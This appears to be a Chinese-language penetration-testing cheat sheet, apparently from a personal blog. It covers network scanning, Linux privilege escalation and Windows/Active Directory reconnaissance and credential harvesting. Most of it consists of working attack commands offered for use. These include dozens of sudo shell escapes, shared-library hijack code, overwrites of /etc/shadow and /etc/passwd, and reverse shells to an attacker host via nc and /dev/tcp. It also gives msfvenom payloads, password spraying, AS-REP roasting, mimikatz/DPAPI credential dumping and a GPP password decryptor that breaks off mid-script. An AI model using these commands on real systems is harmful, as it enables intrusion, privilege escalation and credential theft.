本文最后更新于:2025年4月22日 早上
外网打点 网络扫描 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 cme smb <ip_range> # 使用 CrackMapExec (cme) 扫描 SMB 存活主机 nmap -sP <ip> # 使用 Nmap 进行 Ping 扫描(检测主机是否存活) nmap -PN -sV --top-ports 50 --open <ip> # 快速扫描:检测前 50 个常用端口,识别服务版本,仅显示开放端口 nmap -PN --script smb-vuln* -p139,445 <ip> # 检测 SMB 漏洞(针对端口 139 和 445) nmap -PN -sC -sV <ip> # 经典扫描:使用默认脚本(-sC)和服务版本检测(-sV) nmap -PN -sC -sV -p- <ip> # 全端口扫描:扫描所有端口(1-65535),使用默认脚本和服务版本检测 nmap -sU -sC -sV <ip> # UDP 扫描:扫描 UDP 端口,使用默认脚本和服务版本检测 nmap -sT -p- <ip> # TCP 全连接扫描:扫描所有 TCP 端口(1-65535) nmap -sS -Pn -v -p- -T4 -A -oN portscan.nmap 10.10.229.201 # 快速扫描 nmap -sT -sV -sC -p 21,22,53,1337 10.200.78.101 # 针对存活端口探测详细信息# 两次扫描,先扫出开放端口,再对开放端口探测 target=10.10.236.185; nmap -T4 -p$(nmap -Pn -T4 -n -p- $target | grep 'tcp.*open' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -Pn -n -sVC $target# 先用rustscan快速探测,再用nmap查探开放端口详细信息 rustscan -a 10.10.153.136 nmap -sT -sV -sC -p 1883 10.10.153.136
漏洞快速探测利用 1 2 3 4 5 exploit/multi/misc/java_rmi_server exploit/windows/smb/ms17_010_eternalblue tomcat:auxiliary/scanner/http/tomcat_enum exploit/multi/http/tomcat_mgr_deploy ysoserial
linux docker判断
df
命令的结果中包含/sys/fs/cgroup
文件夹
以 root@<random_number>
身份登录,这可能是容器ID
在根目录ls -lsa
可发现.dockerenv
文件
信息收集 1 2 3 4 5 6 7 8 9 # 可能安装额外文件的目录 /usr/local /opt /etc/crontab # 计划任务# 可用命令 /bin/ /usr/bin/
GTFOBins linux的suid和sudo提权查询
获取密码 mimipenguin
LaZagne
自动化 linpeas peass-ng/PEASS-ng: PEASS
1 2 3 4 5 6 7 chmod +x linpeas_linux_amd64 ./linpeas_linux_amd64 curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh curl -L http://10.2.26.216:8000/linpeas.sh | sh
1 2 ./LinEnum.sh ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
pspy64 在没有 root 权限的情况下监控 Linux 进程 一般用于提权
1 2 3 4 5 python3 -m http.server 8000 wget -P /tmp http://10.2.26.216:8000/pspy64 cd /tmp chmod +x pspy64 ./pspy64
suid 1 2 3 find / -perm -4000 2>/dev/null find / -type f -perm -04000 -ls 2>/dev/null find / -perm -u=s -type f 2>/dev/null
sudo 1 2 3 4 sudo -l sudo find /home -exec /bin/bash \; sudo mysql -e '\! /bin/sh'
env_keep+=LD_PRELOAD LD_PRELOAD
是一个环境变量,允许用户在程序运行前告诉进程将共享对象加载到进程内存中。共享对象——以 .so
扩展名标识的文件——类似于 Windows .dll
文件,因为它包含可能对运行进程功能必要的代码。
我们可以在运行sudo
时指向一个自定义的 .so
文件,使 .so
文件作为 root
运行。通过指向一个自定义的 .so
文件路径,我们可以使进程任意加载恶意代码并在主程序运行之前执行它。
1 2 3 4 # 使用 msfvenom创建 pwn.so, 为 saad 在所有命令上提供无密码的 sudo msfvenom -p linux/x64/exec CMD="echo 'saad ALL=(ALL:ALL) NOPASSWD: ALL' > /etc/sudoers.d/saad" AppendExit='true' -f elf-so -o pwn.so sudo LD_PRELOAD=/tmp.pwn.so /usr/bin/ping # /usr/bin/ping为可以用sudo运行的命令
env_keep+=LD_LIBRARY_PATH 场景:
1 2 3 4 5 6 7 rick@Hijack:/tmp$ sudo -l [sudo] password for rick: Matching Defaults entries for rick on Hijack: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_LIBRARY_PATH User rick may run the following commands on Hijack: (root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
操作
1 2 3 4 5 6 ldd /usr/sbin/apache2 # 列出可执行文件所需的共享库# 在 /tmp 中创建一个恶意 C 程序( malware.c ),以利用 libcrypt.so.1 库 cd /tmp touch malware.c nano malware.c
malware.c
1 2 3 4 5 6 7 8 9 10 #include <stdio.h> #include <stdlib.h> static void hijack () __attribute__ ((constructor)) ;void hijack () { unsetenv("LD_LIBRARY_PATH" ); setresuid(0 ,0 ,0 ); system("/bin/bash -p" ); }
继续
1 2 3 4 gcc -o /tmp/libcrypt.so.1 -shared -fPIC /tmp/malware.c # 编译生成共享库# just do it sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
CVE-2019-14287
sudo<=1.8.28
运行sudo -l后显示当前用户可以免密切换至其他任意非root用户
apt 1 sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
apt-get 1 sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
apache2 1 sudo apache2 -f /etc/shadow
可能泄露root账号密码hash,尝试破解
ash
awk 1 sudo awk 'BEGIN {system("/bin/sh")}'
base32/58/64/nc/z 1 2 bossfrank=/etc/shadow sudo base64 "$bossfrank" | base64 -d
编码读取/etc/shadow文件
cp 利用复制的高权限,我们可以自己写一个shadow文件,通过复制操作覆盖原有的shadow文件 ,从而修改了root账户的密码,用新的密码进行提权
1 2 3 4 5 6 7 8 9 # 在kali中 mkpasswd -m sha-512 123456 #生成sha-512加密(/etc/shadow中密码的加密方式)的密文企图把root账户的密码修改为123456 cat /etc/shadow | grep root #可参考通常情况下shadow形式# 靶机中 bossfrank=/etc/shadow #声明环境变量指向/etc/shadow TF=$(mktemp) #声明一个名为TF的变量,指向用mktemp生成的临时文件 echo 'root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::' > $TF #将生成的shadow记录(即root账户密码是123456)写入TF变量 sudo /usr/bin/cp $TF $bossfrank #使用sudo的cp复制指令,将shadow记录复制到/etc/shadow,实现覆盖操作
cpulimit 1 sudo cpulimit -l 100 -f /bin/bash
curl 1 2 3 4 5 # 在kali中 php -S 0:80 #启动一个http服务,将自定义shadow记录放进去# 在靶机中 sudo curl http://kali的ip/shadow_entry -o /etc/shadow #访问payload,把结果输出到/etc/shadow,覆盖靶机原/etc/shadow
date 1 sudo date -f /etc/shadow
dd 1 echo "root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::" | sudo dd of=/etc/shadow #覆盖靶机/etc/shadow,root密码为123456
dstat 1 2 3 find / -name dstat -type f 2>/dev/null #找到dstat的插件目录 echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_exp.py #在目录中写入py提权脚本 sudo dstat --exp #"exp"与上条"dstat_exp.py"对应
ed 1 2 sudo ed #进入文本编辑界面 !/bin/bash #进入后输入
env
7.44<=exiftool<=12.23
1 2 3 4 5 echo "(metadata \"\c${system('/bin/bash')};\")" > payload #构造payload,并在里面写入源数据 (metadata "\c${system('/bin/bash')};") #与上条功能相同,两者执行其一即可 bzz payload payload.bzz #使用bzz工具进行压缩 djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz #用djvumake工具生成利用文件exploit.djvu sudo exiftool exploit.djvu
expect 1 sudo expect -c 'spawn /bin/bash;interact'
fail2ban 1 2 3 4 5 6 7 8 9 find -name "fail2ban*" -type d 2>/dev/null #查找fail2ban的目录 find /etc/fail2ban -writable -type d 2>/dev/null #列出可写目录 mv iptables-multport.conf iptables-multport.conf.bak #将原本的配置文件改名 cp iptables-multport.conf.bak iptables-multport.conf #复制文件,此时iptables-multport.conf已可编辑 actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc kali的ip 1234 > /tmp/f #在iptables-multport.conf写入该行,用于反弹shell sudo /etc/init.d/fail2ban restart #重启fail2ban服务,确保配置修改生效# 在kali中 nc -lvnp 1234 #监听
只需再次ssh尝试登录某个账户,并故意短时间内快速多次用错误密码尝试(具体需要多快可以查看文件/etc/fail2ban/jail.conf)
find 1 sudo find . -exec /bin/bash \; -quit
flock 1 sudo flock -u / /bin/bash
ftp
gcc 1 sudo gcc -wrapper /bin/bash,-s .
gdb 1 sudo gdb -nx -ex '!bash' -ex quit
git 1 2 sudo git branch --help !/bin/bash
gzip/gunzip 1 sudo gzip -f /etc/shadow -t
运行后会暴露/etc/shadow文件的内容
iftop
hping3
java 1 2 3 4 5 6 7 # 在kali中 msfvenom -p java/shell_reverse_tcp LHOST=kali的ip LPORT=1234 -f jar -o shell.jar #用msfvenom生成java的反弹shell php -S 0:80 #在相应目录开启http服务# 在靶机中 wget http://kali的ip/shell.jar #下载payload java -jar shell.jar
jjs 1 2 3 4 5 # 在kali中 nc -lvnp 1234# 靶机 echo "Java.type('java.lang.Runtime').getRuntime().exec(['/bin/bash','-c','exec 5<>/dev/tcp/kali的ip/1234;cat <&5 | while read line; do \$line 2>&5 >&5; done']).waitFor()" | sudo jjs #反弹shell
journalctl 1 2 sudo journalctl !/bin/bash
knife 1 sudo knife exec -E 'exec "/bin/bash"'
less 1 2 3 mktemp ./XXX #建立一个临时文件 sudo less tE70f #"tE70f"为临时文件的名字,用sudo less读取此临时文件 !/bin/bash
也可以直接随便读取个文件,然后输入!/bin/bash
man 1 2 sudo man ls #用sudo man随便查看一个linux命令 !/bin/bash
more 1 2 3 4 mktemp ./xxx yes bossfrank > 7aADd #设bossfrank是一个已有的文件 sudo more 7aADd !/bin/bash
mount 1 2 sudo mount -o bind /bin/bash /bin/mount sudo mount
mysql 1 sudo mysql -e '\! /bin/sh'
nano 1 2 sudo nano reset;bash 1>&0 2>&0
neofetch 1 2 3 TF=$(mktemp) #声明一个变量TF,指向一个新建的临时文件 echo 'exec /bin/bash' >$TF # 将提权逻辑写入临时文件中 sudo neofetch --config $TF
nice
nmap 1 2 3 TF=$(mktemp) echo 'os.execute("/bin/sh")' > $TF sudo nmap --script=$TF
node 1 sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
nohup 1 sudo nohup /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)"
tmux
openvpn 1 sudo openvpn --config /etc/shadow
读取/etc/shadow的第一行
passwd
perl 1 sudo perl -e 'exec "/bin/sh";'
php 1 sudo php -r "system('/bin/bash');"
pico 1 2 3 sudo pico ^R^X #ctrl + r 和ctrl + x reset; bash 1>&0 2>&0
pkexec
python3 1 sudo python3 -c "import os;os.system('/bin/bash)"
rvim 1 sudo rvim -c ':py import os; os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'
scp 1 2 3 4 TF=$(mktemp) #声明一个变量TF,指向一个新建的临时文件 echo 'bash 0<&2 1>&2' > $TF #将提权逻辑写到临时变量中 chmod +x "$TF" #给变量(临时文件)添加执行权限 sudo scp -S $TF x y:
screen
script 1 sudo script -q /dev/null
sed 1 sudo sed -n '1e exec bash 1>&0' /etc/hosts
service 1 sudo service ../../bin/bash
socat 1 sudo socat stdin exec:/bin/bash
ssh 1 sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x
ssh-keygen
写入
1 2 3 4 5 6 7 8 9 10 11 12 #include <stdio.h> #include <stdlib.h> #include <unistd.h> static void inject () __attribute__ ((constructor)) ; void inject () { setuid(0 ); system("/bin/bash -p" ); }
1 2 gcc -shared -fPIC -o getRoot.so getRoot.c sudo ssh-keygen -D ./getRoot.io
strace 1 sudo strace -o /dev/null /bin/bash
systemctl 1 2 sudo systemctl !/bin/bash
tcpdump
写入
1 mknod getRoot_pipe p && /bin/nc 10.10.10.128 4444 0<getRoot_pipe | /bin/bash 1>getRoot_pipe
1 2 3 4 5 6 # 在kali中 nc -lvnp 4444# 靶机 chmod +x getRoot.sh sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z getRoot.sh -Z root
tee 1 2 3 4 5 6 7 8 9 # 在kali中 openssl passwd -1 -salt newUser '123456' #用openssl生成一个passwd格式的hash newUser:$1$newUser$.KLMnIw2g2qsFYDp7QnFf0:0:0:root:/root:/bin/bash #根据/etc/passwd的格式构造newUser出的信息 new:$1$new$OVfDVMTOiOgpbam1pWfpz0:0:0:root:/root:/bin/bash# 靶机 echo 'newUser:$1$newUser$.KLMnIw2g2qsFYDp7QnFf0:0:0:root:/root:/bin/bash' | sudo tee -a /etc/passwd su newUser 123456
timedatectl 1 2 sudo timedatectl list-timezones !/bin/bash
tmux
vi 1 2 3 4 5 sudo vi :!/bin/bash# 或者 sudo vi -c ':!/bin/bash' /dev/null
wall 1 sudo wall --nobanner /etc/shadow
读取/etc/shadow
watch 1 sudo watch -x bash -c 'reset; exec bash 1>&0 2>&0'
wget 1 2 3 4 TF=$(mktemp) chmod +x $TF echo -e '#!/bin/bash\n/bin/bash 1>&0' >$TF sudo wget --use-askpass=$TF 0
xxd 1 sudo xxd /etc/shadow | xxd -r
zip 1 sudo zip foo /etc/hosts -T -TT 'bash #'
windows 信息收集 本机信息 1 2 3 4 5 tree /f tree /f C:\Users cmd.exe /c 'systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"'
系统程序 1 2 3 4 net config workstation net config server systeminfo wmic qfe get Caption,Description,HotFixID,InstalledOn
AV 1 2 Get-Service WinDefend Get-MpComputerStatus | select RealTimeProtectionEnabled
进程服务 1 2 3 4 5 6 7 8 tasklist /svc wmic product get name,version powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version" wmic service list brief wmic startup get command,caption schtasks /query /fo LIST /v
防火墙 1 2 3 4 5 6 7 8 netsh firewall show config netsh advfirewall firewall show rule name=all netsh advfirewall set allprofiles state off\on netsh advfirewall export\import xx.pol netsh advfirewall firewall add rule name=”deny tcp 139 ″ dir =in protocol=tcp localport=139 action=block netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir =in localport=3389 action=allow netsh advfirewall firewall delete rule name=Remote Desktop netsh interface
用户信息 1 2 3 4 5 6 7 8 9 10 11 12 13 14 whoami quser qwinsta query user query session query termserver net accounts net user net user "$username " net localgroup net localgroup "$groupname " net localgroup administrators net group net group "$groupname "
操作记录 1 2 3 4 5 6 7 type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt type $Env:userprofile \AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt Get-History | Format-List -Property * Clear-History Clear-History -Id 3 doskey /h doskey /reinstall
网络发现 基本信息 1 2 3 4 5 6 7 8 9 10 11 ipconfig /all ipconfig /displaydns route print arp -a netstat -ano net share wmic share get name,path,status net view smbclient -L ip type c:\Windows\system32\drivers\etc\hosts
SPN SPN:服务主体名称。使用Kerberos须为服务器注册SPN,因此可以在内网中扫描SPN,快速寻找内网中注册的服务,SPN扫描可以规避像端口扫描的不确定性探测动作。主要利用工具有:setspn、GetUserSPNs.vbs和Rubeus。
1 setspn -T domain.com -Q */*
一些相关的powershell脚本PowerShell-AD-Recon
协议探测 icmp 1 2 for /l %i in (1 ,1 ,255 ) do @ ping 10.0 .0 .%i -w 1 -n 1 |find /i "ttl=" @for /l %i in (1 ,1 ,255 ) do @ping -n 1 -w 40 192.168 .40 .%i && if errorlevel 0 (echo 192.168 .40 .%i >> ip.txt)
Netbios
1 msf > use auxiliary/scanner/netbios/nbname
1 nbtscan -m 192.168 .1.0 /24
UDP msf扫描
1 msf > use auxiliary/scanner/discovery/udp_probemsf > use auxiliary/scanner/discovery/udp_sweep
smb-version python版:amitn 322/smb-version
c#版:草泥马之家-c#版本的smb_version
SNMP
1 msf > use auxiliary/scanner/snmp/snmp_enum
系统日志 可以使用 wevtutil.exe psloglist.exe 或者 powershell 的Get-WinEvent
模块进行日志导出,server 03 的域控可使用 eventquery.vbs 导出。
wevtutil 不需要 UAC, 支持很多过滤语法,若有需要请查看官方说明
1 2 3 4 5 6 wevtutil qe security /f:text /q:*[System [(EventID =4624 )]] wevtutil qe security /rd :true /f:text /q:"*[system/eventid=4624 and 4623 and 4627]" wevtutil qe security /rd :true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]" /r :dc1 /u:administrator /p:password
本地使用 LogParser 日志分析工具整理导出的日志,然后去除重复数据、无效数据(以 ‘$’ 结束的用户名)
1 LogParser.exe -i :EVT -o txt "SELECT TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) as USERNAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) as SOURCE_IP FROM C:\ProgramData\log.evtx" > C:\ProgramData\log.txt
导出域控登录日志到域控上:
1 wevtutil epl Security C:\ProgramData\dc.evtx /q:"*[EventData[Data[@Name='LogonType']='3'] and System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= 2592000000]]]" /r :域控IP /u:域管 /p:域管密码
浏览器日志 1 2 3 4 5 6 7 8 9 10 11 C:\Users$username \AppData\Local\Google\Chrome\User Data\Default\History reg query "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs" C:\Users$user \AppData\Local\Microsoft\Windows\History C:\Users$user \AppData\Local\Microsoft\Edge\User Data\Default\History C:\Users$user \AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat
浏览器的历史记录文件 history,是使用 sqlite 格式记录的,直接打开是一个二进制文件,可以下载到本地破解,或者直接替换查看。
此外,edge v44+ 版本的历史记录文件在用户登录状态下是锁定的。
DNS 服务器记录
一般在域环境中都会有一台 DNS 服务器,小企业或内网环境较小的可能会和域控为同一台,大一些的企业,多为独立的 DNS 服务器。
由于 DNS 服务器的特性,在 DNS 服务器上会存在大量内网地址解析记录,如果可以获取,会极大的方便内网拓扑展开,同时很多其他主机无法到达的地址,DNS 服务器是可以到达的。
1 2 3 dnscmd . /EnumZones dnscmd . /ZoneInfo test.com dnscmd . /EnumRecords test.com
DNS 服务器还存在域传送漏洞。可以直接获得 DNS 记录。
nslookup -type=all_ldap._tcp.dc.greyfinger.com
nslookup -type=ns domain.com
cmd> nslookup server dns.domain.com ls domain.com
域 基本信息 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 net config workstation net time /domain net accounts /domain net user /domain net user username /domain net group /domain net group groupname /domain net localgroup administrators /domain net group Domain" " Admins /domain net view net view /domain net view /domain:test net group "Domain controllers" /domain nltest /dclist:域名 nltest /dsgetdc:域名 nltest /domain_trusts nltest /user:"username"
dsquery dsquery
命令很少使用,而且限制较大仅能在域控上执行
1 2 3 4 5 6 7 8 9 dsquery computer dsquery computer domainroot -limit 65535 dsquery contact dsquery server dsquery subnet dsquery group dsquery site dsquery user dsquery ou
powershell 1 2 3 4 5 6 7 8 9 10 Get-ADUser -Filter * [System.DirectoryServices.ActiveDirectory.Domain ]::GetCurrentDomain() ([System.DirectoryServices.ActiveDirectory.Domain ]::GetCurrentDomain()).GetAllTrustRelationships() [System.DirectoryServices.ActiveDirectory.Forest ]::GetCurrentForest() ([System.DirectoryServices.ActiveDirectory.Forest ]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest' , 'forest-of-interest.local' )))).GetAllTrustRelationships()
SMB 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 列出可匿名访问的smb共享 enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip> smbmap -u "" -p "" -P 445 -H <dc-ip> && smbmap -u "guest" -p "" -P 445 -H <dc-ip> smbclient -U '%' -L //<dc-ip> && smbclient -U 'guest%' -L //<dc-ip> crackmapexec smb <ip> -u '' -p '' # 枚举可空Session访问的SMB共享 crackmapexec smb <ip> -u 'a' -p '' #枚举可匿名访问的SMB共享# 获取域密码策略 crackmapexec <IP> -u 'user' -p 'password' --pass-pol #查询目标主机的密码策略 enum4linx -u 'username' -p 'password' -P <IP> #使用指定的凭据枚举目标主机的 SMB 服务信息# 密码喷洒 crackmapexec smb <dc-ip> -u user.txt -p password.txt --no-bruteforce # 一一对应 crackmapexec smb <dc-ip> -u user.txt -p password.txt # 交叉爆破
枚举LDAP 1 2 nmap -n -sV --script "ldap* and not brute" -p 389 <dc-ip> ldapsearch -x -h <ip> -s base
查找用户名 1 2 3 4 enum4linux -U <dc-ip> | grep 'user:' # 列举 SMB 服务中的用户,需要可匿名访问smb crackmapexec smb <ip> -u <user> -p '<password>' --users # 列出域中的用户# Nmap 的 krb5-enum-users 脚本枚举 Kerberos 服务中的用户 (爆破用户名) nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <ip>
ASREP-Roasting 获取ASREP-Roastable账号(即可用攻击目标)
1 2 3 Get-DomainUser -PreauthNotRequired -Properties SamAccountName MATCH (u:User {dontreqpreauth:true}), (c:Computer), p=shortestPath((u)-[*1 .. ]->(c)) RETURN p
获取hash
1 2 3 4 5 # 将所有成功获取的AS-REP哈希保存到 hashes.corp.local.txt 文件中 python GetNPUsers.py <domain>/ -usersfile <usernames.txt> -format hashcat -outputfile <hashes.domain.txt> # 获取所有符合条件的用户AS-REP哈希,并打印到屏幕 Rubeus asreproast /format:hashcat
枚举 DNS 服务器 需要控制一个域用户
1 dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip>
配置文件 1 2 3 %windir%\system32\inetsrv\config\applicationHost.config %windir%\system32\inetsrv\appcmd list site /config %windir%\system32\inetsrv\appcmd list site /config /xml > c:\sites.xml
密码/凭据搜集 mimikatz
Invoke-WCMDump
mimiDbg
LaZagne
NirLauncher
quarkspwdump:
1 2 3 4 5 6 cmdkey /list \domain\Netlogon runas /savecred /user:admin cmd.exe
windows批量安装设置 1 2 3 4 5 C:\Unattend.xml C :\Windows\Panther\Unattend.xml C :\Windows\Panther\Unattend\Unattend.xml C :\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml
可能会发现:
1 2 3 4 5 <Credentials > <Username > Administrator</Username > <Domain > thm.local</Domain > <Password > MyPassword123</Password > </Credentials >
IIS 1 type C:\Windows\Microsoft.NET\Framework64\v4.0.30319 \Config\web.config | findstr connectionString
navicat how-does-navicat-encrypt-password
FatSmallTools
1 2 reg query "HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\" reg query "HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\项" /v pwd
数据库
路径
MySQL
HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\
MariaDB
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\
MongoDB
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\
Microsoft SQL
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\
Oracle
HKEY_CURRENT_USERHKEYCURRENTUSER\Software\PremiumSoft\NavicatOra\Servers\
PostgreSQL
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\
SQLite
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\
SecureCRT
系统版本
路径
xp/win2003
C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Sessions
win7/win2008以上
C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions
Xshell Xdecrypt
版本
路径
Xshell 5
%userprofile%\Documents\NetSarang\Xshell\Sessions
Xshell 6
%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
mRemoteNG mremoteng-decrypt
WinSCP 1 HKCU\Software\Martin Prikryl\WinSCP 2 \Sessions
VNC HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4
版本
路径
类型
RealVNC
HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver
Password
TightVNC
HKEY_CURRENT_USER\Software\TightVNC\Server Value
Password or PasswordViewOnly
TigerVNC
HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4
Password
UltraVNC
C:\Program Files\UltraVNC\ultravnc.ini
passwd or passwd2
DPAPI
DPAPI,由微软从Windows 2000开始发布,称为Data Protection Application Programming Interface(DPAPI)。其分别提供了加密函数CryptProtectData 与解密函数 CryptUnprotectData 。
其作用范围包括且不限于:
outlook客户端密码
windows credential凭据
chrome保存的密码凭据
internet explorer密码凭据
在渗透中,可以利用mimikatz做到自动化的数据解密
1 2 3 4 5 mimikatz dpapi::chrome /in :”%localappdata%\Google\Chrome\User Data\Default\Login Data ” /unprotect mimikatz vault::cred /patch
WIFI 获取连接过的wifi密码
1 2 3 4 5 #cmd for /f "skip=9 tokens=1 ,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr /V "echo " | netsh wlan show profiles %j key=clear #powershell netsh wlan show profiles | Select-String "\:(.+)$" | ForEach-Object {$name = $_.Matches.Groups[1 ].Value.Trim();$_; netsh wlan show profile name="$name" key=clear }
GPP 当分发组策略时,会在域的SYSVOL目录下生成一个gpp配置的xml文件,如果在配置组策略时填入了密码,则其中会存在加密过的账号密码。这些密码,往往都是管理员的密码。
xml文件位置:
1 \\域名\sysvol\域名\policies\{一串类似uuid 的东西}\User \Preferences\Groups
xml文件内容示例:
1 2 3 4 5 6 <?xml version="1.0" encoding="utf-8" ?> - <Groups clsid ="{3125E937-EB16-4b4c-9934-544FC6D24D26}" > - <User clsid ="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name ="Administrator (内置)" image ="2" changed ="2017-09-25 22:57:53" uid ="{463245FF-08D3-4A28-95E7-42AB416DC508}" > <Properties action ="U" newName ="" fullName ="" description ="" cpassword ="9XLcz+Caj/kyldECku6lQ1QJX3fe9gnshWkkWlgAN1U" changeLogon ="0" noChange ="0" neverExpires ="0" acctDisabled ="0" subAuthority ="RID_ADMIN" userName ="Administrator (内置)" /> </User > </Groups >
其中xml中的密码cpassword
是aes加密的,密钥已被微软公开
32字节AES密钥如下:
1 2 4e 99 06 e8 fc b6 6 c c9 fa f4 93 10 62 0 f fe e8f4 96 e8 06 cc 05 79 90 20 9 b 09 a4 33 b6 6 c 1 b
可以使用相关脚本进行解密
Get-GPPPassword.ps1 自动寻找文件并解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 function Get-GPPPassword { [Diagnostics.CodeAnalysis.SuppressMessageAttribute ('PSAvoidUsingWMICmdlet' , '' )] [Diagnostics.CodeAnalysis.SuppressMessageAttribute ('PSShouldProcess' , '' )] [Diagnostics.CodeAnalysis.SuppressMessageAttribute ('PSAvoidUsingPlainTextForPassword' , '' )] [CmdletBinding ()] Param ( [ValidateNotNullOrEmpty ()] [String ] $Server = $Env:USERDNSDOMAIN , [Switch ] $SearchForest ) function Get-DecryptedCpassword { [CmdletBinding ()] Param ( [string ] $Cpassword ) try { $Mod = ($Cpassword .length % 4 ) switch ($Mod ) { '1' {$Cpassword = $Cpassword .Substring(0 ,$Cpassword .Length -1 )} '2' {$Cpassword += ('=' * (4 - $Mod ))} '3' {$Cpassword += ('=' * (4 - $Mod ))} } $Base64Decoded = [Convert ]::FromBase64String($Cpassword ) [System.Reflection.Assembly ]::LoadWithPartialName("System.Core" ) |Out-Null $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider [Byte []] $AesKey = @ (0 x4e,0 x99,0 x06,0 xe8,0 xfc,0 xb6,0 x6c,0 xc9,0 xfa,0 xf4,0 x93,0 x10,0 x62,0 x0f,0 xfe,0 xe8, 0 xf4,0 x96,0 xe8,0 x06,0 xcc,0 x05,0 x79,0 x90,0 x20,0 x9b,0 x09,0 xa4,0 x33,0 xb6,0 x6c,0 x1b) $AesIV = New-Object Byte[]($AesObject .IV.Length) $AesObject .IV = $AesIV $AesObject .Key = $AesKey $DecryptorObject = $AesObject .CreateDecryptor() [Byte []] $OutBlock = $DecryptorObject .TransformFinalBlock($Base64Decoded , 0 , $Base64Decoded .length) return [System.Text.UnicodeEncoding ]::Unicode.GetString($OutBlock ) } catch { Write-Error $Error [0 ] } } function Get-GPPInnerField { [CmdletBinding ()] Param ( $File ) try { $Filename = Split-Path $File -Leaf [xml ] $Xml = Get-Content ($File ) if ($Xml .innerxml -match 'cpassword' ) { $Xml .GetElementsByTagName('Properties' ) | ForEach-Object { if ($_ .cpassword) { $Cpassword = $_ .cpassword if ($Cpassword -and ($Cpassword -ne '' )) { $DecryptedPassword = Get-DecryptedCpassword $Cpassword $Password = $DecryptedPassword Write-Verbose "[Get-GPPInnerField] 已解密密码:'$File '" } if ($_ .newName) { $NewName = $_ .newName } if ($_ .userName) { $UserName = $_ .userName } elseif ($_ 